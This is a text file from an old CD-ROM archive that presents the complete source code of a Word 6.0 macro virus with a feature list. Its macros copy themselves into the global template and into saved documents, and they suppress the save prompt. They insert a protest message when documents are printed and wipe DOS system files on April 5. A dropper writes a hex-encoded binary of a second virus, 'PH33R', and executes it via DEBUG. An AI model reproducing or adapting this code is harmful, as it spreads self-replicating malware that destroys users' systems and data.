home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MVUPDAT3.ZIP / NUCLEAR.ZIP / WINMACRO.TXT < prev   
Encoding:
Text File  |  1980-01-01  |  14.1 KB  |  343 lines
  1.  
  2. NEW WORD 6.0 MACRO VIRUS
  3. ------------------------
  4.  
  5. New Features:
  6.     *    Drops another virus ("PH33R").
  7.     *    Stealth's existence from the user.
  8.     *    Bypasses "Save NORMAL.DOT?" prompt.
  9.     *    Inserts text into documents when printing (at times).
  10.     *    Uses execute-only macro's.
  11.     *    Contains a payload to destroy IO.SYS/MSDOS.SYS/COMMAND.COM
  12.          on April the 5th.
  13.  
  14. ========================================================
  15. PURPOSE:    To enable NORMAL.DOT to be saved without
  16.             prompting.
  17. MACRO NAME: FileExit
  18. MACRO CODE:
  19.  
  20. Sub MAIN
  21. ToolsOptionsSave .GlobalDotPrompt = 0
  22. FileExit
  23. End Sub
  24.  
  25. ========================================================
  26.  
  27. PURPOSE:    To make the virus active before any
  28.             documents have been loaded.
  29. MACRO NAME: AutoExec
  30. MACRO CODE:
  31.  
  32. Sub MAIN
  33. If CheckInstalled = 0 Then
  34.     MacroCopy WindowName$()+":AutoExec",   "Global:AutoExec", 1
  35.     MacroCopy WindowName$()+":ToolsMacro", "Global:ToolsMacro", 1
  36.     MacroCopy WindowName$()+":AutoOpen",   "Global:AutoOpen", 1
  37.     MacroCopy WindowName$()+":FileSaveAs", "Global:FileSaveAs", 1
  38.     MacroCopy WindowName$()+":FilePrint",  "Global:FilePrint", 1
  39.     MacroCopy WindowName$()+":FilePrintDefault","Global:FilePrintDefault",1
  40.     MacroCopy WindowName$()+":InsertPayload", "Global:InsertPayload",1
  41.     MacroCopy WindowName$()+":PayLoad",    "Global:Payload",1
  42. End If
  43. Call Payload
  44. End Sub
  45.  
  46. Function CheckInstalled
  47.     'Check if AutoExec macro already exists.
  48.     CheckInstalled = 0
  49.     If CountMacros(0) > 0 Then
  50.         For i = 1 To CountMacros(0)
  51.             If MacroName$(i, 0) = "AutoExec" Then
  52.                 CheckInstalled = 1
  53.             End If
  54.         Next i
  55.     End If
  56. End Function
  57.  
  58. ========================================================
  59.  
  60. PURPOSE:    To infect the Global Macro Area as soon as a
  61.         document is opened.
  62. MACRO NAME: AutoOpen
  63. MACRO CODE:
  64.  
  65. Sub MAIN
  66. If CheckInstalled = 0 Then
  67.     MacroCopy WindowName$()+":AutoExec",   "Global:AutoExec", 1
  68.     MacroCopy WindowName$()+":ToolsMacro", "Global:ToolsMacro", 1
  69.     MacroCopy WindowName$()+":AutoOpen",   "Global:AutoOpen", 1
  70.     MacroCopy WindowName$()+":FileSaveAs", "Global:FileSaveAs", 1
  71.     MacroCopy WindowName$()+":FilePrint",  "Global:FilePrint", 1
  72.     MacroCopy WindowName$()+":FilePrintDefault","Global:FilePrintDefault",1
  73.     MacroCopy WindowName$()+":InsertPayload", "Global:InsertPayload",1
  74.     MacroCopy WindowName$()+":PayLoad",    "Global:Payload",1
  75. End If
  76. Call Payload
  77. End Sub
  78.  
  79. Function CheckInstalled
  80.     'Check if AutoExec macro already exists.
  81.     CheckInstalled = 0
  82.     If CountMacros(0) > 0 Then
  83.         For i = 1 To CountMacros(0)
  84.             If MacroName$(i, 0) = "AutoExec" Then
  85.                 CheckInstalled = 1
  86.             End If
  87.         Next i
  88.     End If
  89. End Function
  90.  
  91. ========================================================
  92.  
  93. PURPOSE:    To infect a file when it is being saved.
  94. MACRO NAME: FileSaveAs
  95. MACRO CODE:
  96.  
  97. Sub MAIN
  98. Dim dlg As FileSaveAs   'declare dialog as type FileSaveAs
  99. GetCurValues dlg
  100. Dialog dlg      'execute the dialog.
  101.  
  102. 'Is the document of Type=(WordDocument or Template) ?
  103.  
  104. If (dlg.Format = 0) Or (dlg.Format = 1) Then
  105.  
  106.     'Copy Macro's from Global data area into document.
  107.     MacroCopy "Global:AutoExec",  WindowName$() + ":AutoExec", 1
  108.     MacroCopy "Global:AutoOpen",  WindowName$() + ":AutoOpen", 1
  109.     MacroCopy "Global:FileSaveAs", WindowName$() + ":FileSaveAs", 1
  110.     MacroCopy "Global:ToolsMacro", WindowName$() + ":ToolsMacro", 1
  111.     MacroCopy "Global:FilePrint", WindowName$() + ":FilePrint", 1
  112.     MacroCopy "Global:FilePrintDefault",
  113.         WindowName$() + ":FilePrintDefault", 1
  114.     MacroCopy "Global:InsertPayload", WindowName$()+":InsertPayload",1
  115.     MacroCopy "Global:Payload", WindowName$()+":Payload",1
  116.  
  117.     'Set to save document as a template.
  118.     dlg.Format = 1
  119. End If
  120.  
  121. FileSaveAs dlg  'save the document infected.
  122. End Sub
  123.  
  124. ========================================================
  125.  
  126. PURPOSE:    To call InsertPayload when someone chooses
  127.         Print from the File menu.
  128. MACRO NAME: FilePrint
  129. MACRO CODE:
  130.  
  131. Sub MAIN
  132. Call InsertPayload  'possibly insert text.
  133. Dim dlg As FilePrint    'declare dialog of type FilePrint
  134. GetCurValues dlg
  135. Dialog dlg      'excute print dialog window.
  136. FilePrint dlg       'perform actions from dialog.
  137. End Sub
  138.  
  139. ========================================================
  140.  
  141. PURPOSE:    To call InsertPayload when someone clicks
  142.         the "Print" button on the toolbar.
  143. MACRO NAME: FilePrintDefault
  144. MACRO CODE:
  145.  
  146. Sub MAIN
  147. Call InsertPayload  'possibly insert text.
  148. FilePrintDefault    'print document using default settings.
  149. End Sub
  150.  
  151. ========================================================
  152.  
  153. PURPOSE:    Insert some text into documents if Second > 55.
  154. MACRO NAME: InsertPayload
  155. MACRO CODE:
  156.  
  157. Sub MAIN
  158. If Second(Now()) > 55 Then  'seconds > 55 ?
  159.     EndOfDocument       'go to the end of document.
  160.     Insert Chr($ 11)
  161.     Insert "And finally I would like to say:"
  162.     Insert Chr($ 11)
  163.     Insert "STOP ALL FRENCH NUCLEAR TESTING IN THE PACIFIC!"
  164.     StartOfDocument     'go to the start of document.
  165. End If
  166. End Sub
  167.  
  168. ========================================================
  169.  
  170. PURPOSE:    What the hell do you think?
  171. MACRO NAME: PayLoad
  172. MACRO CODE:
  173.  
  174. Sub MAIN:
  175.     If Day(Now())=5 And Month(Now())=4 Then
  176.         SetAttr "C:\IO.SYS",0
  177.         Open "C:\IO.SYS" For Output As #1
  178.         Close #1
  179.  
  180.         SetAttr "C:\MSDOS.SYS",0
  181.         Open "C:\MSDOS.SYS",0
  182.         Close #1
  183.  
  184.         SetAttr "C:\COMMAND.COM",0
  185.         Open "C:\COMMAND.COM" For Output As #1
  186.         Close #1
  187.         Kill "C:\COMMAND.COM"
  188.     End If
  189. End Sub
  190.  
  191. ========================================================
  192.  
  193. Sub MAIN
  194. 'Is is 5PM ? - approx time before work is finished.
  195.  
  196. If Hour(Now()) <> 5 + 12 Then
  197.     Goto NoDropper
  198.  
  199. On Error Goto NoDropper             'setup an error handler
  200. Open "C:\DOS\DEBUG.EXE" For Input As #1     'does DEBUG exist?
  201. Close #1                    'Yes, close it.
  202. Open "C:\DOS\PH33R.SCR" For Output As #1    'dump script.
  203. Print #1, "N PH33R.COM"
  204. Print #1, "E 0100 E8 47 00 06 1F BF 00 01 57 B8 CD 20 AB B8 00 00"
  205. Print #1, "E 0110 AB 33 C0 33 DB 33 C9 33 D2 33 F6 33 FF C3 E8 29"
  206. Print #1, "E 0120 00 06 1F 8C D8 05 10 00 05 00 00 8E D0 BC 00 00"
  207. Print #1, "E 0130 8C D8 05 10 00 05 00 00 50 B8 00 00 50 33 C0 33"
  208. Print #1, "E 0140 DB 33 C9 33 D2 33 F6 33 FF CB FC B8 FF 51 CD 21"
  209. Print #1, "E 0150 3D 51 FF 74 16 B8 02 FA BA 45 59 32 DB CD 16 8C"
  210. Print #1, "E 0160 D8 48 8E D8 33 FF 80 3D 59 77 01 C3 81 6D 03 A7"
  211. Print #1, "E 0170 00 81 6D 12 A7 00 8B 45 12 06 8E C0 0E 1F B9 34"
  212. Print #1, "E 0180 05 E8 00 00 5E 81 EE 84 00 F3 A4 8E D9 BE 84 00"
  213. Print #1, "E 0190 BF 2A 01 56 A5 A5 5E BF 5B 04 A5 A5 C7 44 FC 04"
  214. Print #1, "E 01A0 01 8C 44 FE 06 B4 52 CD 21 8C C0 07 8E D8 BE 9E"
  215. Print #1, "E 01B0 10 AD 3D 90 90 75 11 AC 3C E8 75 0C 26 C7 06 5B"
  216. Print #1, "E 01C0 04 A0 10 26 8C 1E 5D 04 07 C3 3D 50 68 33 33 72"
  217. Print #1, "E 01D0 3D 3D FE 51 75 03 86 E0 CF 3D 00 4B 74 0F 80 FC"
  218. Print #1, "E 01E0 3D 74 0A 80 FC 56 74 05 80 FC 43 75 3C 9C 60 1E"
  219. Print #1, "E 01F0 06 B8 0A 00 8C CB CD 31 8E C0 E8 43 00 07 1F 61"
  220. Print #1, "E 0200 9D E9 25 00 3D FF 51 75 0C 86 E0 CF 51 61 72 6B"
  221. Print #1, "E 0210 2F 56 4C 41 44 3D 00 4B 74 14 80 FC 6C 74 0F 80"
  222. Print #1, "E 0220 FC 56 74 0A 80 FC 43 74 05 EA 00 00 00 00 06 52"
  223. Print #1, "E 0230 80 FC 6C 75 02 89 F2 0E 07 E8 04 00 5A 07 EB E9"
  224. Print #1, "E 0240 9C 50 53 51 52 56 57 1E 06 FC 89 D6 AC 3C 00 75"
  225. Print #1, "E 0250 FB 83 EE 04 AD 0D 20 20 3D 65 78 74 0A 3D 64 6C"
  226. Print #1, "E 0260 74 05 3D 63 6F 75 24 81 7C FB 38 36 74 1D 8B 44"
  227. Print #1, "E 0270 FB 0D 20 20 3D 61 76 74 12 3D 64 76 74 0D 3D 61"
  228. Print #1, "E 0280 6E 74 08 3D 6F 74 74 03 E8 0A 00 07 1F 5F 5E 5A"
  229. Print #1, "E 0290 59 5B 58 9D C3 FC B8 02 3D E8 B8 02 73 01 C3 93"
  230. Print #1, "E 02A0 06 1F B4 3F B9 00 02 BA 34 05 E8 A7 02 BE 34 05"
  231. Print #1, "E 02B0 8B 04 0D 20 20 3D 6D 7A 74 03 E9 A2 00 81 7C 12"
  232. Print #1, "E 02C0 AF AF 75 03 E9 E9 00 83 7C 18 40 72 03 E9 E6 00"
  233. Print #1, "E 02D0 83 7C 0C FF 75 EE E8 36 03 0B D2 75 05 3D E8 03"
  234. Print #1, "E 02E0 72 E2 B9 00 02 F7 F1 40 39 44 04 77 D7 8B 44 0E"
  235. Print #1, "E 02F0 A3 29 00 8B 44 10 A3 2E 00 8B 44 14 A3 3A 00 8B"
  236. Print #1, "E 0300 44 16 A3 36 00 E8 07 03 B9 10 00 F7 F1 2B 44 08"
  237. Print #1, "E 0310 83 C2 1E 89 54 14 89 44 16 48 89 44 0E 81 C2 DC"
  238. Print #1, "E 0320 05 83 E2 FE 89 54 10 E8 B9 02 B9 34 05 B4 40 33"
  239. Print #1, "E 0330 D2 E8 20 02 E8 D8 02 B9 00 02 F7 F1 0B D2 74 01"
  240. Print #1, "E 0340 40 89 44 04 89 54 02 E8 C1 02 C7 44 12 AF AF B4"
  241. Print #1, "E 0350 40 89 F2 B9 1C 00 E8 FB 01 E8 9C 02 E9 51 00 80"
  242. Print #1, "E 0360 7C 03 AF 74 4B BF 0A 00 A5 BF 0E 00 A5 B8 02 42"
  243. Print #1, "E 0370 33 C9 99 E8 DE 01 0B D2 75 36 3D 60 EA 77 31 3D"
  244. Print #1, "E 0380 00 04 72 2C 2D 03 00 A3 1B 05 E8 56 02 B4 40 B9"
  245. Print #1, "E 0390 34 05 33 D2 E8 BD 01 72 17 B8 00 42 33 C9 99 E8"
  246. Print #1, "E 03A0 B2 01 B4 40 B9 04 00 BA 1A 05 E8 A7 01 E8 48 02"
  247. Print #1, "E 03B0 B4 3E E8 9F 01 C3 FF 74 3C 8F 06 1E 05 83 6C 3C"
  248. Print #1, "E 03C0 08 83 7C 3E 00 75 E9 C7 44 12 AF AF B8 00 42 33"
  249. Print #1, "E 03D0 C9 99 E8 7F 01 E8 0B 02 B4 40 B9 00 02 BA 34 05"
  250. Print #1, "E 03E0 E8 71 01 72 CB B8 00 42 8B 16 1E 05 33 C9 E8 63"
  251. Print #1, "E 03F0 01 B4 3F B9 00 02 BA 34 05 E8 58 01 8B 44 22 39"
  252. Print #1, "E 0400 44 04 72 04 83 44 04 08 39 44 24 72 04 83 44 24"
  253. Print #1, "E 0410 08 39 44 26 72 04 83 44 26 08 39 44 28 72 04 83"
  254. Print #1, "E 0420 44 28 08 39 44 2A 72 04 83 44 2A 08 8B 44 1C FF"
  255. Print #1, "E 0430 44 1C 33 D2 B9 08 00 F7 E1 03 44 22 83 D2 00 B9"
  256. Print #1, "E 0440 00 02 F7 F1 A3 22 05 89 16 24 05 FF 74 14 8F 06"
  257. Print #1, "E 0450 32 05 FF 74 16 8F 06 30 05 FF 74 32 8F 06 20 05"
  258. Print #1, "E 0460 C7 44 14 5F 04 8B 44 1C 89 44 16 FF 36 1E 05 8F"
  259. Print #1, "E 0470 06 26 05 A1 22 05 0B C0 74 3C FF 0E 22 05 B8 00"
  260. Print #1, "E 0480 42 33 C9 8B 16 26 05 83 EA 08 E8 C7 00 B4 40 B9"
  261. Print #1, "E 0490 00 02 89 F2 E8 BD 00 81 06 26 05 00 02 B8 00 42"
  262. Print #1, "E 04A0 33 C9 8B 16 26 05 E8 AB 00 B4 3F BA 34 05 B9 00"
  263. Print #1, "E 04B0 02 E8 A0 00 EB BD B8 02 42 33 C9 99 E8 95 00 8A"
  264. Print #1, "E 04C0 0E 20 05 53 BB 01 00 D3 E3 8B CB 5B F7 F1 C7 06"
  265. Print #1, "E 04D0 28 05 00 00 0B D2 74 07 29 D1 89 0E 28 05 40 89"
  266. Print #1, "E 04E0 F7 03 3E 24 05 89 05 C7 45 02 34 05 C7 45 04 80"
  267. Print #1, "E 04F0 01 C7 45 06 34 07 B8 00 42 33 C9 8B 16 26 05 83"
  268. Print #1, "E 0500 EA 08 E8 4F 00 B4 40 8B 0E 24 05 83 C1 08 BA 34"
  269. Print #1, "E 0510 05 E8 40 00 FF 36 DF 04 FF 36 E1 04 C7 06 DF 04"
  270. Print #1, "E 0520 00 00 C7 06 E1 04 FF FF B8 02 42 33 C9 8B 16 28"
  271. Print #1, "E 0530 05 E8 20 00 B4 40 B9 34 05 33 D2 E8 16 00 8F 06"
  272. Print #1, "E 0540 E1 04 8F 06 DF 04 B4 40 B9 0A 00 BA 2A 05 E8 03"
  273. Print #1, "E 0550 00 E9 59 FE 9C 2E FF 1E 5B 04 C3 00 00 00 00 60"
  274. Print #1, "E 0560 1E 06 B8 FE 51 CD 21 3D 51 FF 74 6F B8 0A 00 8C"
  275. Print #1, "E 0570 CB CD 31 8E D8 B8 04 02 B3 21 CD 31 89 16 2A 01"
  276. Print #1, "E 0580 89 0E 2C 01 89 16 5B 04 89 0E 5D 04 B8 01 05 33"
  277. Print #1, "E 0590 DB B9 34 07 CD 31 53 51 33 C0 B9 01 00 CD 31 8B"
  278. Print #1, "E 05A0 D8 B8 07 00 5A 59 CD 31 B8 08 00 33 C9 BA 34 07"
  279. Print #1, "E 05B0 CD 31 8E C3 B9 34 07 33 F6 33 FF FC F3 A4 8C C3"
  280. Print #1, "E 05C0 B8 09 00 B9 FF 00 CD 31 8C C1 BA D1 00 B8 05 02"
  281. Print #1, "E 05D0 B3 21 CD 31 B8 04 00 06 5B CD 31 07 1F 61 EA 00"
  282. Print #1, "E 05E0 00 FF FF 50 51 52 B8 00 57 E8 68 FF 89 0E FF 04"
  283. Print #1, "E 05F0 89 16 FC 04 5A 59 58 C3 50 51 52 BA 00 00 B9 00"
  284. Print #1, "E 0600 00 B8 01 57 E8 4D FF 5A 59 58 C3 B0 00 EB 02 B0"
  285. Print #1, "E 0610 02 B4 42 33 C9 99 E8 3B FF C3 E9 00 00 AF 00 00"
  286. Print #1, "E 0620 00 00 00 00 00 00 00 00 00 00 01 00 03 04 DF 04"
  287. Print #1, "E 0630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  288. Print #1, "E 0640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  289. Print #1, "E 0650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  290. Print #1, "E 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  291. Print #1, "E 0670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  292. Print #1, "E 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  293. Print #1, "E 0690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  294. Print #1, "E 06A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  295. Print #1, "E 06B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  296. Print #1, "E 06C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  297. Print #1, "E 06D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  298. Print #1, "E 06E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  299. Print #1, "E 06F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  300. Print #1, "E 0700 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  301. Print #1, "E 0710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  302. Print #1, "E 0720 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  303. Print #1, "E 0730 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  304. Print #1, "E 0740 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  305. Print #1, "E 0750 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  306. Print #1, "E 0760 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  307. Print #1, "E 0770 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  308. Print #1, "E 0780 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  309. Print #1, "E 0790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  310. Print #1, "E 07A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  311. Print #1, "E 07B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  312. Print #1, "E 07C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  313. Print #1, "E 07D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  314. Print #1, "E 07E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  315. Print #1, "E 07F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  316. Print #1, "E 0800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  317. Print #1, "E 0810 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  318. Print #1, "E 0820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  319. Print #1, "E 0830 00 00 00 00"
  320. Print #1, "RCX"     'Convert this to "G" to run the code
  321. Print #1, "0734"
  322. Print #1, "G"
  323. Print #1, "Q"
  324. Print #1, ""
  325. Close #1
  326.  
  327. Open "C:\DOS\EXEC_PH.BAT" For Output As #1
  328. Print #1, "@echo off"
  329. Print #1, "debug < ph33r.scr > nul"
  330. Close #1
  331.  
  332. ChDir "C:\DOS"
  333. Shell "EXEC_PH.BAT", 0
  334.  
  335. 'Delete temporary files.
  336.  
  337. Kill "C:\DOS\EXEC_PH.BAT"
  338. Kill "C:\DOS\PH33R.SCR"
  339.  
  340. NoDropper:
  341.  
  342. End Sub
  343.